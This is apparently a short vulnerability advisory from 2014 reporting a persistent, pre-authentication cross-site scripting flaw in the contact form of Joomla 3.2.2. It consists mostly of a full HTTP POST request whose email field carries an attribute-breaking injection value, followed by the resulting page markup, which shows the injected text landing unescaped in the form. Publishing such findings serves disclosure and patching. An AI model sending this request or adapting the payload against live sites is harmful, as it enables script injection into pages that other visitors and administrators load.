# ============================================================== # Title ...| Persistent pre-auth XSS in Joomla # Version .| Joomla 3.2.2 # Date ....| 3.03.2014 # Found ...| HauntIT Blog # Home ....| http://www.joomla.org # ============================================================== # ============================================================== # XSS ------ POST /k/cms/joomla/index.php/single-contact HTTP/1.1 Host: 10.149.14.62 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://10.149.14.62/k/cms/joomla/index.php/single-contact Cookie: admuk5313c0e19de9d=9la3c8djsk100gfcj6ddsd7g25; dfced3b8ef8245f626640a33bb1d908f=l0r4lpqr65v7ivh2cnm4b4tg11; 733752f9e99dd50c7cf104d16febe9d2=dh6mbd40ocmt8h5qbgt0s4osq6; 2e0d6af3de5fea932838f4b111e635b5=ubsdq3u299hv0uaoo4pf1kmg45 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 288 jform%5Bcontact_name%5D=aaaaaa&jform%5Bcontact_email%5D=a">@b.com&jform%5Bcontact_subject%5D=asdas&jform%5Bcontact_message%5D=dasdasdasd&jform%5Bcontact_email_copy%5D=1&option=com_contact&task=contact.submit&return=&id=1%3Aname&e328236e3b63be0be16a0d0d841f63f9=1 ------ And: ------ (...) title="Email
Email for contact">Email *

@b.com" size="30" required aria-required="true" />

(...) ------ # ============================================================== # More @ http://HauntIT.blogspot.com # Thanks! ;) # o/